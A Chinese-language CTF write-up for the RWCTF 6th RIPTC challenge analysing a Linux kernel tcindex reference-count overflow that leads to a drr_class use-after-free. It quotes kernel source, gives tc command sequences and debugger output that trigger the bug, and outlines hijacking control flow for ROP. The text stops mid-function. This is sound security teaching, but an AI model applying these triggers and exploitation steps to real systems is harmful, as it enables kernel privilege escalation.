Jekyll
2024-02-05T07:45:53+00:00
https://larryxi.github.io//
Larryxi’s Blog
Larryxi's Blog, the script kid in binary world.
Larryxi
RWCTF 6th RIPTC Write-up zh-CN
2024-02-05T00:00:00+00:00
2024-02-05T00:00:00+00:00
https://larryxi.github.io/2024/02/05/rwctf-6th-riptc-write-up-zh-cn
<h1>0x00 出题背景</h1>
<p>某日瞥见<a href="https://starlabs.sg/blog/2023/06-breaking-the-code-exploiting-and-examining-cve-2023-1829-in-cls_tcindex-classifier-vulnerability/">Breaking the Code - Exploiting and Examining CVE-2023-1829 in cls_tcindex Classifier Vulnerability</a> 这篇文章,讲述了<a href="https://nvd.nist.gov/vuln/detail/CVE-2023-1829">CVE-2023-1829</a> 漏洞成因及利用方法,对应的<a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=8c710f75256bb3cf05ac7b1672c82b92c43f3d28">修复方案</a>是删除整个<code class="language-plaintext highlighter-rouge">cls_tcindex.c</code>文件。今年<code class="language-plaintext highlighter-rouge">net/sched</code>攻击面在<code class="language-plaintext highlighter-rouge">kctf/kernelCTF</code>上大火,引起了安全社区对linux kernel安全的广泛关注,遂以历史遗迹<code class="language-plaintext highlighter-rouge">tcindex</code> 为切入点,寻找该文件可能存在的其他安全问题,将这场贴身肉搏的经历献给RWCTF的参赛选手们,望乞海涵。</p>
<!-- more -->
<p>对题目感兴趣想先上手把玩的朋友,可以参考RIPTC的题目<a href="https://github.com/chaitin/Real-World-CTF-6th-Challenges/tree/main/RIPTC">描述</a>和<a href="https://github.com/chaitin/Real-World-CTF-6th-Challenges/releases/download/x/riptc_attachment_241a4f7b8921b131e3237af987ad4f82.tar.gz">附件</a>,身临其境体验一番。</p>
<h1>0x01 漏洞挖掘</h1>
<p>有关<code class="language-plaintext highlighter-rouge">tcindex</code>的知识需要对linux traffic control框架有基本的了解,可参考<a href="https://lartc.org/lartc.pdf">lartc文档</a>,<a href="https://man7.org/linux/man-pages/man8/tc.8.html">tc手册</a>,以及<a href="https://elixir.bootlin.com/linux/latest/source/net/sched">内核源代码</a>。<a href="https://docs.google.com/spreadsheets/d/e/2PACX-1vS1REdTA29OJftst8xN5B5x8iIUcxuK6bXdzF8G1UXCmRtoNsoQ9MbebdRdFnj6qZ0Yd7LwQfvYC2oF/pubhtml">参考</a>历史漏洞<a href="https://nvd.nist.gov/vuln/detail/CVE-2023-3776">CVE-2023-3776</a>和<a href="https://nvd.nist.gov/vuln/detail/CVE-2023-4206">CVE-2023-4206</a>可知,<code class="language-plaintext highlighter-rouge">net/sched/cls_*.c</code>中常见的安全问题和在change filter过程中的<code class="language-plaintext highlighter-rouge">tcf_bind_filter</code>调用,以及<code class="language-plaintext highlighter-rouge">struct tcf_result</code>的处理方式有关。</p>
<p>审计<a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/sched/cls_tcindex.c?id=bbe77c14ee6185a61ba6d5e435c1cbb489d2a9ed"><code class="language-plaintext highlighter-rouge">net/sched/cls_tcindex.c</code></a>文件发现,每次change tcindex时,如果原有的<code class="language-plaintext highlighter-rouge">tcindex_data</code>存在perfect hash table,则会根据传入的<a href="https://man7.org/linux/man-pages/man8/tc-tcindex.8.html">hash参数</a>(表示hash table size)重新生成一个,并将原有的<code class="language-plaintext highlighter-rouge">tcf_result</code>内容进行拷贝,但拷贝数量的多少是取传入hash值和原有hash值的最小值,如果传入的hash值更小,则原有的一些<code class="language-plaintext highlighter-rouge">tcf_result</code>内容将会被直接遗弃:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">if</span> <span class="p">(</span><span class="n">p</span><span class="o">-></span><span class="n">perfect</span><span class="p">)</span> <span class="p">{</span>
<span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">tcindex_alloc_perfect_hash</span><span class="p">(</span><span class="n">net</span><span class="p">,</span> <span class="n">cp</span><span class="p">)</span> <span class="o"><</span> <span class="mi">0</span><span class="p">)</span>
<span class="k">goto</span> <span class="n">errout</span><span class="p">;</span>
<span class="n">cp</span><span class="o">-></span><span class="n">alloc_hash</span> <span class="o">=</span> <span class="n">cp</span><span class="o">-></span><span class="n">hash</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">min</span><span class="p">(</span><span class="n">cp</span><span class="o">-></span><span class="n">hash</span><span class="p">,</span> <span class="n">p</span><span class="o">-></span><span class="n">hash</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
<span class="n">cp</span><span class="o">-></span><span class="n">perfect</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">res</span> <span class="o">=</span> <span class="n">p</span><span class="o">-></span><span class="n">perfect</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">res</span><span class="p">;</span>
<span class="n">balloc</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>同时,在释放原有的<code class="language-plaintext highlighter-rouge">tcindex_data</code>过程中,也没有对<code class="language-plaintext highlighter-rouge">cp->perfect[i].res</code>做额外的<code class="language-plaintext highlighter-rouge">tcf_unbind_filter</code>操作:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">tcindex_partial_destroy_work</span><span class="p">(</span><span class="k">struct</span> <span class="n">work_struct</span> <span class="o">*</span><span class="n">work</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">struct</span> <span class="n">tcindex_data</span> <span class="o">*</span><span class="n">p</span> <span class="o">=</span> <span class="n">container_of</span><span class="p">(</span><span class="n">to_rcu_work</span><span class="p">(</span><span class="n">work</span><span class="p">),</span>
<span class="k">struct</span> <span class="n">tcindex_data</span><span class="p">,</span>
<span class="n">rwork</span><span class="p">);</span>
<span class="n">rtnl_lock</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="n">p</span><span class="o">-></span><span class="n">perfect</span><span class="p">)</span>
<span class="n">tcindex_free_perfect_hash</span><span class="p">(</span><span class="n">p</span><span class="p">);</span>
<span class="n">kfree</span><span class="p">(</span><span class="n">p</span><span class="p">);</span>
<span class="n">rtnl_unlock</span><span class="p">();</span>
<span class="p">}</span>
<span class="k">static</span> <span class="kt">void</span> <span class="nf">tcindex_free_perfect_hash</span><span class="p">(</span><span class="k">struct</span> <span class="n">tcindex_data</span> <span class="o">*</span><span class="n">cp</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">cp</span><span class="o">-></span><span class="n">hash</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
<span class="n">tcf_exts_destroy</span><span class="p">(</span><span class="o">&</span><span class="n">cp</span><span class="o">-></span><span class="n">perfect</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">exts</span><span class="p">);</span>
<span class="n">kfree</span><span class="p">(</span><span class="n">cp</span><span class="o">-></span><span class="n">perfect</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>配合tcindex的<code class="language-plaintext highlighter-rouge">classid</code>参数,则可对某个<code class="language-plaintext highlighter-rouge">class</code>多次进行<code class="language-plaintext highlighter-rouge">tcf_bind_filter</code>操作,导致bind和unbind的次数不匹配:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">if</span> <span class="p">(</span><span class="n">tb</span><span class="p">[</span><span class="n">TCA_TCINDEX_CLASSID</span><span class="p">])</span> <span class="p">{</span>
<span class="n">cr</span><span class="p">.</span><span class="n">classid</span> <span class="o">=</span> <span class="n">nla_get_u32</span><span class="p">(</span><span class="n">tb</span><span class="p">[</span><span class="n">TCA_TCINDEX_CLASSID</span><span class="p">]);</span>
<span class="n">tcf_bind_filter</span><span class="p">(</span><span class="n">tp</span><span class="p">,</span> <span class="o">&</span><span class="n">cr</span><span class="p">,</span> <span class="n">base</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">oldp</span> <span class="o">=</span> <span class="n">p</span><span class="p">;</span>
<span class="n">r</span><span class="o">-></span><span class="n">res</span> <span class="o">=</span> <span class="n">cr</span><span class="p">;</span>
<span class="n">tcf_exts_change</span><span class="p">(</span><span class="o">&</span><span class="n">r</span><span class="o">-></span><span class="n">exts</span><span class="p">,</span> <span class="o">&</span><span class="n">e</span><span class="p">);</span>
<span class="n">rcu_assign_pointer</span><span class="p">(</span><span class="n">tp</span><span class="o">-></span><span class="n">root</span><span class="p">,</span> <span class="n">cp</span><span class="p">);</span>
</code></pre></div></div>
<p>以<code class="language-plaintext highlighter-rouge">drr_class</code>为例子,对某个class bind一次则<code class="language-plaintext highlighter-rouge">cl->filter_cnt++</code>,class地址和classid被保存至<code class="language-plaintext highlighter-rouge">p->perfect[i].res</code>,因为对tcindex的change操作,导致<code class="language-plaintext highlighter-rouge">res</code>内容被遗弃,再次重复前文步骤则可导致该class的引用计数<code class="language-plaintext highlighter-rouge">filter_cnt</code>多次增加。当最后一次bind使其溢出回环至0时,删除释放对应class,而在<code class="language-plaintext highlighter-rouge">res</code>中仍有对该class的引用,传入数据包触发<code class="language-plaintext highlighter-rouge">tcindex_classify</code>后即可对该class造成UAF。</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">drr_class</span> <span class="p">{</span>
<span class="k">struct</span> <span class="n">Qdisc_class_common</span> <span class="n">common</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">filter_cnt</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">gnet_stats_basic_sync</span> <span class="n">bstats</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">gnet_stats_queue</span> <span class="n">qstats</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">net_rate_estimator</span> <span class="n">__rcu</span> <span class="o">*</span><span class="n">rate_est</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">list_head</span> <span class="n">alist</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">Qdisc</span> <span class="o">*</span><span class="n">qdisc</span><span class="p">;</span>
<span class="n">u32</span> <span class="n">quantum</span><span class="p">;</span>
<span class="n">u32</span> <span class="n">deficit</span><span class="p">;</span>
<span class="p">};</span>
<span class="k">static</span> <span class="kt">int</span> <span class="nf">drr_delete_class</span><span class="p">(</span><span class="k">struct</span> <span class="n">Qdisc</span> <span class="o">*</span><span class="n">sch</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">arg</span><span class="p">,</span>
<span class="k">struct</span> <span class="n">netlink_ext_ack</span> <span class="o">*</span><span class="n">extack</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">struct</span> <span class="n">drr_sched</span> <span class="o">*</span><span class="n">q</span> <span class="o">=</span> <span class="n">qdisc_priv</span><span class="p">(</span><span class="n">sch</span><span class="p">);</span>
<span class="k">struct</span> <span class="n">drr_class</span> <span class="o">*</span><span class="n">cl</span> <span class="o">=</span> <span class="p">(</span><span class="k">struct</span> <span class="n">drr_class</span> <span class="o">*</span><span class="p">)</span><span class="n">arg</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">cl</span><span class="o">-></span><span class="n">filter_cnt</span> <span class="o">></span> <span class="mi">0</span><span class="p">)</span>
<span class="k">return</span> <span class="o">-</span><span class="n">EBUSY</span><span class="p">;</span>
<span class="n">sch_tree_lock</span><span class="p">(</span><span class="n">sch</span><span class="p">);</span>
<span class="n">qdisc_purge_queue</span><span class="p">(</span><span class="n">cl</span><span class="o">-></span><span class="n">qdisc</span><span class="p">);</span>
<span class="n">qdisc_class_hash_remove</span><span class="p">(</span><span class="o">&</span><span class="n">q</span><span class="o">-></span><span class="n">clhash</span><span class="p">,</span> <span class="o">&</span><span class="n">cl</span><span class="o">-></span><span class="n">common</span><span class="p">);</span>
<span class="n">sch_tree_unlock</span><span class="p">(</span><span class="n">sch</span><span class="p">);</span>
<span class="n">drr_destroy_class</span><span class="p">(</span><span class="n">sch</span><span class="p">,</span> <span class="n">cl</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">static</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="nf">drr_bind_tcf</span><span class="p">(</span><span class="k">struct</span> <span class="n">Qdisc</span> <span class="o">*</span><span class="n">sch</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">parent</span><span class="p">,</span>
<span class="n">u32</span> <span class="n">classid</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">struct</span> <span class="n">drr_class</span> <span class="o">*</span><span class="n">cl</span> <span class="o">=</span> <span class="n">drr_find_class</span><span class="p">(</span><span class="n">sch</span><span class="p">,</span> <span class="n">classid</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">cl</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span>
<span class="n">cl</span><span class="o">-></span><span class="n">filter_cnt</span><span class="o">++</span><span class="p">;</span>
<span class="k">return</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span><span class="p">)</span><span class="n">cl</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">static</span> <span class="kt">void</span> <span class="nf">drr_unbind_tcf</span><span class="p">(</span><span class="k">struct</span> <span class="n">Qdisc</span> <span class="o">*</span><span class="n">sch</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">arg</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">struct</span> <span class="n">drr_class</span> <span class="o">*</span><span class="n">cl</span> <span class="o">=</span> <span class="p">(</span><span class="k">struct</span> <span class="n">drr_class</span> <span class="o">*</span><span class="p">)</span><span class="n">arg</span><span class="p">;</span>
<span class="n">cl</span><span class="o">-></span><span class="n">filter_cnt</span><span class="o">--</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">static</span> <span class="k">const</span> <span class="k">struct</span> <span class="n">Qdisc_class_ops</span> <span class="n">drr_class_ops</span> <span class="o">=</span> <span class="p">{</span>
<span class="p">.</span><span class="n">change</span> <span class="o">=</span> <span class="n">drr_change_class</span><span class="p">,</span>
<span class="p">.</span><span class="n">delete</span> <span class="o">=</span> <span class="n">drr_delete_class</span><span class="p">,</span>
<span class="p">.</span><span class="n">find</span> <span class="o">=</span> <span class="n">drr_search_class</span><span class="p">,</span>
<span class="p">.</span><span class="n">tcf_block</span> <span class="o">=</span> <span class="n">drr_tcf_block</span><span class="p">,</span>
<span class="p">.</span><span class="n">bind_tcf</span> <span class="o">=</span> <span class="n">drr_bind_tcf</span><span class="p">,</span>
<span class="p">.</span><span class="n">unbind_tcf</span> <span class="o">=</span> <span class="n">drr_unbind_tcf</span><span class="p">,</span>
<span class="p">.</span><span class="n">graft</span> <span class="o">=</span> <span class="n">drr_graft_class</span><span class="p">,</span>
<span class="p">.</span><span class="n">leaf</span> <span class="o">=</span> <span class="n">drr_class_leaf</span><span class="p">,</span>
<span class="p">.</span><span class="n">qlen_notify</span> <span class="o">=</span> <span class="n">drr_qlen_notify</span><span class="p">,</span>
<span class="p">.</span><span class="n">dump</span> <span class="o">=</span> <span class="n">drr_dump_class</span><span class="p">,</span>
<span class="p">.</span><span class="n">dump_stats</span> <span class="o">=</span> <span class="n">drr_dump_class_stats</span><span class="p">,</span>
<span class="p">.</span><span class="n">walk</span> <span class="o">=</span> <span class="n">drr_walk</span><span class="p">,</span>
<span class="p">};</span>
</code></pre></div></div>
<p>你可能会问对同一个class多次bind行不行,因为每次filter bind都会对之前的class进行一次unbind,相当于每个tcindex filter只能bind一次同一个class。至于创建超级多个filter去bind同一个class,内核内存自然也是经受不住的:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span>
<span class="nf">__tcf_bind_filter</span><span class="p">(</span><span class="k">struct</span> <span class="n">Qdisc</span> <span class="o">*</span><span class="n">q</span><span class="p">,</span> <span class="k">struct</span> <span class="n">tcf_result</span> <span class="o">*</span><span class="n">r</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">base</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">cl</span><span class="p">;</span>
<span class="n">cl</span> <span class="o">=</span> <span class="n">q</span><span class="o">-></span><span class="n">ops</span><span class="o">-></span><span class="n">cl_ops</span><span class="o">-></span><span class="n">bind_tcf</span><span class="p">(</span><span class="n">q</span><span class="p">,</span> <span class="n">base</span><span class="p">,</span> <span class="n">r</span><span class="o">-></span><span class="n">classid</span><span class="p">);</span>
<span class="n">cl</span> <span class="o">=</span> <span class="n">__cls_set_class</span><span class="p">(</span><span class="o">&</span><span class="n">r</span><span class="o">-></span><span class="n">class</span><span class="p">,</span> <span class="n">cl</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">cl</span><span class="p">)</span>
<span class="n">q</span><span class="o">-></span><span class="n">ops</span><span class="o">-></span><span class="n">cl_ops</span><span class="o">-></span><span class="n">unbind_tcf</span><span class="p">(</span><span class="n">q</span><span class="p">,</span> <span class="n">cl</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>综上,可以编译个本地环境使用静态编译的<a href="https://github.com/iproute2/iproute2/tree/main/tc">tc</a>文件,对同一个drr_class bind两次:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/ # ./tc qdisc add dev lo handle 1 root drr
/ # ./tc class add dev lo parent 1: classid 1:1 drr
/ # ./tc filter add dev lo parent 1: handle 9 prio 1 tcindex hash 16 mask 15 classid 1:1
/ # ./tc -s filter show dev lo
filter parent 1: protocol all pref 1 tcindex chain 0
filter parent 1: protocol all pref 1 tcindex chain 0 handle 0x0009 classid 1:1
/ # ./tc filter replace dev lo parent 1: prio 1 tcindex hash 8 mask 7
/ # ./tc -s filter show dev lo
filter parent 1: protocol all pref 1 tcindex chain 0
/ # ./tc filter replace dev lo parent 1: handle 9 prio 1 tcindex hash 16 mask 15 classid 1:1
/ # ./tc -s filter show dev lo
filter parent 1: protocol all pref 1 tcindex chain 0
filter parent 1: protocol all pref 1 tcindex chain 0 handle 0x0009 classid 1:1
/ # ./tc filter replace dev lo parent 1: prio 1 tcindex hash 8 mask 7
/ # ./tc -s filter show dev lo
filter parent 1: protocol all pref 1 tcindex chain 0
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤ p *(struct drr_class *)arg
$1 = {
common = {
classid = 0x10001,
hnode = {
next = 0x0 <fixed_percpu_data>,
pprev = 0xffff8880058142c8
}
},
filter_cnt = 0x2,
</code></pre></div></div>
<h1>0x02 环境搭建</h1>
<p>如果要将这个引用计数整数溢出导致的UAF漏洞转化成真实的漏洞利用场景,首当其冲的是触发漏洞的时间长短问题,比如类似问题的<a href="https://web.archive.org/web/20160122103500/http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/">CVE-2016-0728</a>有较短的触发路径,在Intel Core i7-5500 CPU上跑了半小时,类似路径场景的<a href="https://bugs.chromium.org/p/chromium/issues/detail?id=1423266">Issue 1423266</a>跑20bit都要花费至少一小时,我本地测试20bit需要跑3分钟,考虑到比赛时利用的时长和调试的方便程度,决定将<code class="language-plaintext highlighter-rouge">drr_class</code>的<code class="language-plaintext highlighter-rouge">filter_cnt</code>patch为16bit。</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">drr_class</span> <span class="p">{</span>
<span class="k">struct</span> <span class="n">Qdisc_class_common</span> <span class="n">common</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">filter_cnt</span><span class="o">:</span><span class="mi">16</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">gnet_stats_basic_sync</span> <span class="n">bstats</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">gnet_stats_queue</span> <span class="n">qstats</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">net_rate_estimator</span> <span class="n">__rcu</span> <span class="o">*</span><span class="n">rate_est</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">list_head</span> <span class="n">alist</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">Qdisc</span> <span class="o">*</span><span class="n">qdisc</span><span class="p">;</span>
<span class="n">u32</span> <span class="n">quantum</span><span class="p">;</span>
<span class="n">u32</span> <span class="n">deficit</span><span class="p">;</span>
<span class="p">};</span>
</code></pre></div></div>
<p>但是如果将该patch直接以源码的形式发放给参赛选手,则会瞬间暴露因patch引入的引用计数问题,转而直接去调用tcindex劫持执行流,无法引导大家去挖掘前文的漏洞了,所以我选择将patch以vmlinux的形式进行体现,增强选手对整体内核环境的理解。当然,联系发现的漏洞利用场景和题目描述,可根据提供的<code class="language-plaintext highlighter-rouge">.config</code>编译vmlinux,快速bindiff出patch点:</p>
<p><img src="https://image.baidu.com/search/down?url=https://wx3.sinaimg.cn/large/ee2fecafly1hme18lb0kmj21ws0g6gs0.jpg" alt="" /></p>
<p>因为要引入被删除的<code class="language-plaintext highlighter-rouge">cls_tcindex.c</code>文件,这里选择<a href="https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.1.72.tar.xz">6.1.72</a>内核版本源码,反向引入patch:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wget https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/patch/?id<span class="o">=</span>b93aeb6352b0229e3c5ca5ca4ff015b015aff33c <span class="nt">-O</span> rsvp.patch
patch <span class="nt">-p1</span> <span class="nt">-R</span> < rsvp.patch
wget https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/patch/?id<span class="o">=</span>3abebc503a5148072052c229c6b04b329a420ecd <span class="nt">-O</span> tcindex.patch
patch <span class="nt">-p1</span> <span class="nt">-R</span> < tcindex.patch
wget https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/patch/?id<span class="o">=</span>97e3d26b5e5f371b3ee223d94dd123e6c442ba80 <span class="nt">-O</span> CPU-entry-area.patch
patch <span class="nt">-p1</span> < CPU-entry-area.patch
</code></pre></div></div>
<p>关于<code class="language-plaintext highlighter-rouge">.config</code>文件和运行环境,参考kernelCTF的相关<a href="https://github.com/google/security-research/blob/master/kernelctf/build_release.sh">build</a>和<a href="https://github.com/google/security-research/blob/master/kernelctf/simulator/local_runner.sh">本地运行</a>脚本,对于内核的安全机制应开尽开,关闭了<code class="language-plaintext highlighter-rouge">CONFIG_IO_URING</code>、<code class="language-plaintext highlighter-rouge">CONFIG_NETFILTER</code>、<code class="language-plaintext highlighter-rouge">CONFIG_NET_CLS_ACT</code>(间接disable CVE-2023-1829的<a href="https://starlabs.sg/blog/2023/06-breaking-the-code-exploiting-and-examining-cve-2023-1829-in-cls_tcindex-classifier-vulnerability/#vulnerability-analysis">原始问题</a>)和多余的<code class="language-plaintext highlighter-rouge">CONFIG_NET_CLS_*</code>,以及<a href="https://github.com/smallkirby/kernelpwn/blob/master/technique/modprobe_path.md">modprobe_path</a>和<a href="https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-3776_lts/docs/exploit.md#put-payload-in-fixed-kernel-address-cve-2023-0597">cpu_entry_area</a>的trick。最后因为有部分的tc利用代码可<a href="https://github.com/star-sg/CVE/blob/master/CVE-2023-1829/src/cls.c">参考</a>,将<a href="https://github.com/google/nsjail">nsjail</a>的<code class="language-plaintext highlighter-rouge">time_limit</code>调整为120秒,顺便考验一下大家的编程能力。</p>
<h1>0x03 利用方案</h1>
<h2>primitive</h2>
<p>将漏洞场景抽象下,就是可以多次对<code class="language-plaintext highlighter-rouge">drr_class</code>这个kmalloc-128 object进行UAF。在内核代码上下文中,首先可知有个任意地址call的原语,<a href="https://elixir.bootlin.com/linux/v6.1.72/source/net/sched/sch_drr.c#L331"><code class="language-plaintext highlighter-rouge">drr_enqueue</code></a> -> <a href="https://elixir.bootlin.com/linux/v6.1.72/source/net/sched/sch_drr.c#L293"><code class="language-plaintext highlighter-rouge">drr_classify</code></a> 获取到free后的drr_class对象,即通过<code class="language-plaintext highlighter-rouge">skb->tc_index</code> 指定对应的res中的class地址:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int</span> <span class="nf">tcindex_classify</span><span class="p">(</span><span class="k">struct</span> <span class="n">sk_buff</span> <span class="o">*</span><span class="n">skb</span><span class="p">,</span> <span class="k">const</span> <span class="k">struct</span> <span class="n">tcf_proto</span> <span class="o">*</span><span class="n">tp</span><span class="p">,</span>
<span class="k">struct</span> <span class="n">tcf_result</span> <span class="o">*</span><span class="n">res</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">struct</span> <span class="n">tcindex_data</span> <span class="o">*</span><span class="n">p</span> <span class="o">=</span> <span class="n">rcu_dereference_bh</span><span class="p">(</span><span class="n">tp</span><span class="o">-></span><span class="n">root</span><span class="p">);</span>
<span class="k">struct</span> <span class="n">tcindex_filter_result</span> <span class="o">*</span><span class="n">f</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">key</span> <span class="o">=</span> <span class="p">(</span><span class="n">skb</span><span class="o">-></span><span class="n">tc_index</span> <span class="o">&</span> <span class="n">p</span><span class="o">-></span><span class="n">mask</span><span class="p">)</span> <span class="o">>></span> <span class="n">p</span><span class="o">-></span><span class="n">shift</span><span class="p">;</span>
<span class="n">pr_debug</span><span class="p">(</span><span class="s">"tcindex_classify(skb %p,tp %p,res %p),p %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span>
<span class="n">skb</span><span class="p">,</span> <span class="n">tp</span><span class="p">,</span> <span class="n">res</span><span class="p">,</span> <span class="n">p</span><span class="p">);</span>
<span class="n">f</span> <span class="o">=</span> <span class="n">tcindex_lookup</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">key</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">f</span><span class="p">)</span> <span class="p">{</span>
<span class="k">struct</span> <span class="n">Qdisc</span> <span class="o">*</span><span class="n">q</span> <span class="o">=</span> <span class="n">tcf_block_q</span><span class="p">(</span><span class="n">tp</span><span class="o">-></span><span class="n">chain</span><span class="o">-></span><span class="n">block</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">p</span><span class="o">-></span><span class="n">fall_through</span><span class="p">)</span>
<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
<span class="n">res</span><span class="o">-></span><span class="n">classid</span> <span class="o">=</span> <span class="n">TC_H_MAKE</span><span class="p">(</span><span class="n">TC_H_MAJ</span><span class="p">(</span><span class="n">q</span><span class="o">-></span><span class="n">handle</span><span class="p">),</span> <span class="n">key</span><span class="p">);</span>
<span class="n">res</span><span class="o">-></span><span class="n">class</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">pr_debug</span><span class="p">(</span><span class="s">"alg 0x%x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">res</span><span class="o">-></span><span class="n">classid</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="o">*</span><span class="n">res</span> <span class="o">=</span> <span class="n">f</span><span class="o">-></span><span class="n">res</span><span class="p">;</span>
<span class="n">pr_debug</span><span class="p">(</span><span class="s">"map 0x%x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">res</span><span class="o">-></span><span class="n">classid</span><span class="p">);</span>
<span class="k">return</span> <span class="n">tcf_exts_exec</span><span class="p">(</span><span class="n">skb</span><span class="p">,</span> <span class="o">&</span><span class="n">f</span><span class="o">-></span><span class="n">exts</span><span class="p">,</span> <span class="n">res</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>随后的<code class="language-plaintext highlighter-rouge">qdisc_enqueue</code> 即会调用<code class="language-plaintext highlighter-rouge">cl->qdisc->enqueue</code> ,只要<code class="language-plaintext highlighter-rouge">cl</code>两层引用后的内容可控,就能劫持执行流去做ROP:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int</span> <span class="nf">drr_enqueue</span><span class="p">(</span><span class="k">struct</span> <span class="n">sk_buff</span> <span class="o">*</span><span class="n">skb</span><span class="p">,</span> <span class="k">struct</span> <span class="n">Qdisc</span> <span class="o">*</span><span class="n">sch</span><span class="p">,</span>
<span class="k">struct</span> <span class="n">sk_buff</span> <span class="o">**</span><span class="n">to_free</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">len</span> <span class="o">=</span> <span class="n">qdisc_pkt_len</span><span class="p">(</span><span class="n">skb</span><span class="p">);</span>
<span class="k">struct</span> <span class="n">drr_sched</span> <span class="o">*</span><span class="n">q</span> <span class="o">=</span> <span class="n">qdisc_priv</span><span class="p">(</span><span class="n">sch</span><span class="p">);</span>
<span class="k">struct</span> <span class="n">drr_class</span> <span class="o">*</span><span class="n">cl</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">err</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
